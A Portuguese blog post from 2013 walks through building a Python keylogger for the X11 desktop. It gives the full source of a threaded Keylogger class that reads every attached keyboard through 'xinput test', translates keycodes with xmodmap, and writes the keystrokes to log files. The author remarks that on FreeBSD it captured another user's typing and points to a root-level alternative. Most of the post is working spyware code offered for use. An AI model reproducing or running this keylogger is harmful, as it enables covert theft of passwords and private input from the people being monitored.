Esse post está atrasado uns dois anos. Ficamos de fazer esse keylogger desde que a Rutkowska publicou o post “The Linux Security Circus: On GUI isolation” no dia 23 de abril de 2011 (este post foi escrito no dia 1 de abril de 2013). Segundo esse texto, podemos gravar os dados digitados pelo nosso usuário apenas utilizando comandos nativos do X11.

Para fazermos isso, primeiro verificamos como listar os dispositivos conectados e reconhecidos (utilizados) pelo ambiente gráfico:

pedro@HAL9001:~$ xinput list
⎡ Virtual core pointer                    	id=2	[master pointer  (3)]
⎜   ↳ Virtual core XTEST pointer              	id=4	[slave  pointer  (2)]
⎜   ↳ MosArt Optical Mouse                    	id=9	[slave  pointer  (2)]
⎣ Virtual core keyboard                   	id=3	[master keyboard (2)]
    ↳ Virtual core XTEST keyboard             	id=5	[slave  keyboard (3)]
    ↳ Power Button                            	id=6	[slave  keyboard (3)]
    ↳ Power Button                            	id=7	[slave  keyboard (3)]
    ↳ Hewlett-Packard Company HP USB CCID Smartcard Keyboard	id=8	[slave  keyboard (3)]

Esse comando mostra o ID do teclado. Assim, de posse do id do teclado — no caso, o id=8 é esse dispositivo –, é possível capturar as teclas sendo digitadas. Para isso, basta utilizar o comando xinput test. Por exemplo:

pedro@HAL9001:~$ xinput test 8
key release 36 
key press   28 
tkey release 28 
key press   26 
ekey release 26 
key press   39 
skey release 39 
key press   28 
tkey release 28 
key press   26 
ekey release 26

Assim, basta deixar rodando esse comando de background e utilizar um script de expressões regulares para substituir o código da tecla digitada pelo respectivo caractere. Para fazermos isso, facilitaremos nosso trabalho utilizando uma interface que permite usarmos comandos Bash como se fossem comandos nativos do Python. Tal interface foi desenvolvida por Andrew Moffat e pode ser encontrada em https://github.com/amoffat/sh.

Escrevendo o Keylogger

Como o objetivo principal do nosso script é executar expressões regulares para filtrar apenas o código das teclas (keycodes), começamos por definir as expressões que mais utilizaremos durante a execução:

KEYPRESS_REGEX = re.compile(r'key press +(\d+)')
KEYBOARD_REGEX = re.compile(r'(.*)Keyboard(.*)id=(\d+)(.*)')
KEYCODE_REGEX = re.compile(r'keycode +(\d+) = (.+)')

Em seguida, executamos o comando xinput test e capturamos a saída no Python. Como esse comando lista todos os dispositivos, usamos KEYBOARD_REGEX para filtrar os dispositivos de teclado. Fazemos isso pela seguinte função:

def get_listanables_keyboards():
    stdout = bash.xinput("list")
    keyboards = []
    for line in stdout:
        match = KEYBOARD_REGEX.match(line)
        if match and match.group(3).isdigit():
            keyboard = int(match.group(3))
            keyboards.append(keyboard)
    return keyboards

Devemos notar que essa função retorna uma lista de teclados. Isso porque nosso script está hábil a escutar vários dispositivos de teclado. Dessa forma, o script consiste em executar um Keylogger para cada dispositivo de teclado:

if __name__ == '__main__':
    keyboards = get_listanables_keyboards()
    for keyboard in keyboards:
        Keylogger(keyboard).start()
        signal_listener()

onde signal_listener escuta os sinais dados para a thread principal e envia esses sinais para as threads filhas:

def signal_listener():
    for sig in range(1, signal.NSIG):
        try:
            signal.signal(sig, signal.SIG_DFL)
        except RuntimeError:
            pass

A Classe Keylogger

Como iremos escutar cada um dos teclados instalados no sistema, devemos gerar um keylogger para cada um deles. Assim, definimos uma classe que gera uma thread para cada um deles. Assim, começamos a definir essa classe como

class Keylogger(Thread):
    """Keylogger for a single keyboard"""
    def __init__(self, keyboard):
        Thread.__init__(self)
        self._keyboard = keyboard
        self._filename = 'keyboard%d.log' % self._keyboard
        self._file = open(self._filename, 'w+')
        self.__define_constants()

    def __del__(self):
        self.__exit__()

    def __exit__(self):
        self._file.close()

    def run(self):
        self._log()

onde self._log(), definida no corpo da thread, é a função que contém o núcleo do keylogger em si:

def _log(self):
        logger = bash.xinput("test", self._keyboard, _iter=True)
        keymap = self._get_keymap()
        try:
            for line in logger:
                match = KEYPRESS_REGEX.match(line)
                if match:
                    keycode = match.groups()[0]
                    key = keymap[keycode]
                    self._writen_file(key)
        except Exception:
            print "Salved into %s" % self._filename

Essa função utiliza a regex definida anteriormente para extrair cada código das teclas digitado e substituir pelo respectivo caractere. Após cada tecla ser digitada, ela é salva no arquivo respectivo ao código do teclado (keyboard%d.log). Abaixo segue essa classe completa, com todos os métodos listados:

class Keylogger(Thread):
    """Keylogger for a single keyboard"""
    def __init__(self, keyboard):
        Thread.__init__(self)
        self._keyboard = keyboard
        self._filename = 'keyboard%d.log' % self._keyboard
        self._file = open(self._filename, 'w+')
        self.__define_constants()

    def __del__(self):
        self.__exit__()

    def __exit__(self):
        self._file.close()

    def run(self):
        self._log()

    def __define_constants(self):
        self._special_chars = {
            'space': ' ',
            'apostrophe': "'",
            'BackSpace': ' (Backspace) ',
            'Return': ' \n',
            'period': '.',
            'Shift_L1': ' (Shift1) ',
            'Shift_L2': ' (Shift2) ',
            'Control_L': ' (ControlL) ',
            'ccedilla': 'ç',
            'backslash': '\\',
            'dead_tilde': '~',
            'Shift_L': ' (ShiftL) ',
            'Shift_R': ' (ShiftR) ',
            'minus': '-',
            'equal': '=',
            'Alt_L': ' (AltL) ',
            'Escape': ' (esc) ',
            'F1': ' (F1) ',
            'F2': ' (F2) ',
            'F3': ' (F3) ',
            'F4': ' (F4) ',
            'F5': ' (F5) ',
            'F6': ' (F6) ',
            'F7': ' (F7) ',
            'F8': ' (F8) ',
            'F9': ' (F9) ',
            'F10': ' (F10) ',
            'F11': ' (F11) ',
            'F12': ' (F12) ',
            'Num_Lock': ' (NumLock) ',
            'slash': '/',
            'bracketright': ']',
            'bracketleft': '[',
            'comma': ',',
            'semicolon': ';',
            'Scroll_Lock': ' (ScrollLock) ',
            'Home': ' (Home) ',
            'End': ' (End) ',
            'Prior': ' (PgUp) ',
            'Next': ' (PgDn) ',
            'Pause': ' (Pause) ',
            'Insert': ' (Insert) ',
            'Delete': ' (Del) ',
            'Print': ' (PrtScr) ',
            'Left': ' (Left) ',
            'Up': ' (Up) ',
            'Right': ' (Right) ',
            'Down': ' (Down) ',
        }

    def _log(self):
        logger = bash.xinput("test", self._keyboard, _iter=True)
        keymap = self._get_keymap()
        try:
            for line in logger:
                match = KEYPRESS_REGEX.match(line)
                if match:
                    keycode = match.groups()[0]
                    key = keymap[keycode]
                    self._writen_file(key)
        except Exception:
            print "Salved into %s" % self._filename

    def _writen_file(self, key):
        self._file.write(key)
        self._file.flush()
        os.fsync(self._file)

    def _sanitize(self, key_char):
        if key_char in self._special_chars:
            return self._special_chars[key_char]
        else:
            return key_char

    def _get_keymap(self):
        keymap = {}
        table = bash.xmodmap("-pke")
        for line in table:
            match = KEYCODE_REGEX.match(line)
            if match and match.groups()[1]:
                keycode = match.groups()[0]
                key_chars_group = match.groups()[1].split()
                key_main_char = key_chars_group[0]
                keymap[keycode] = self._sanitize(key_main_char)
        return keymap

O código completo desse keylogger está disponível em http://www.sawp.com.br/sources/PyXKeyLogger/pyxkeylogger.tar.gz. Qualquer dúvida, reclamação, sugestão ou contribuição, contacte-me por e-mail: sawp@sawp.com.br.

Finalmente, devemos considerar que esse script está limitado a gravar as teclas digitadas apenas no ambiente X. Além disso, é muito provável que os sistemas operacionais atuais estejam implementando alguma forma de GUI_isolation, o que irá limitar o nosso keylogger ainda mais, permitindo-o capturar somente as teclas digitadas pelo próprio usuário que executou o script.

Devemos ressaltar que em nosso teste no Freebsd 9.1 foi possível a um usuário capturar as teclas digitadas por outro usuário. Contudo, com o mesmo script executado no Ubuntu 12.10, isso não foi possível. Portanto, em situações onde não temos o X11 instalado, ou situações em que exista alguma forma de GUI_isolation, mas onde possuímos a senha de administrador, recomendamos a utilização do PyKL.

Referências

  1. Joanna Rutkowska’s blog: The Invisible Things Lab’s
  2. Python-Bash (formerly pbs): https://github.com/amoffat/sh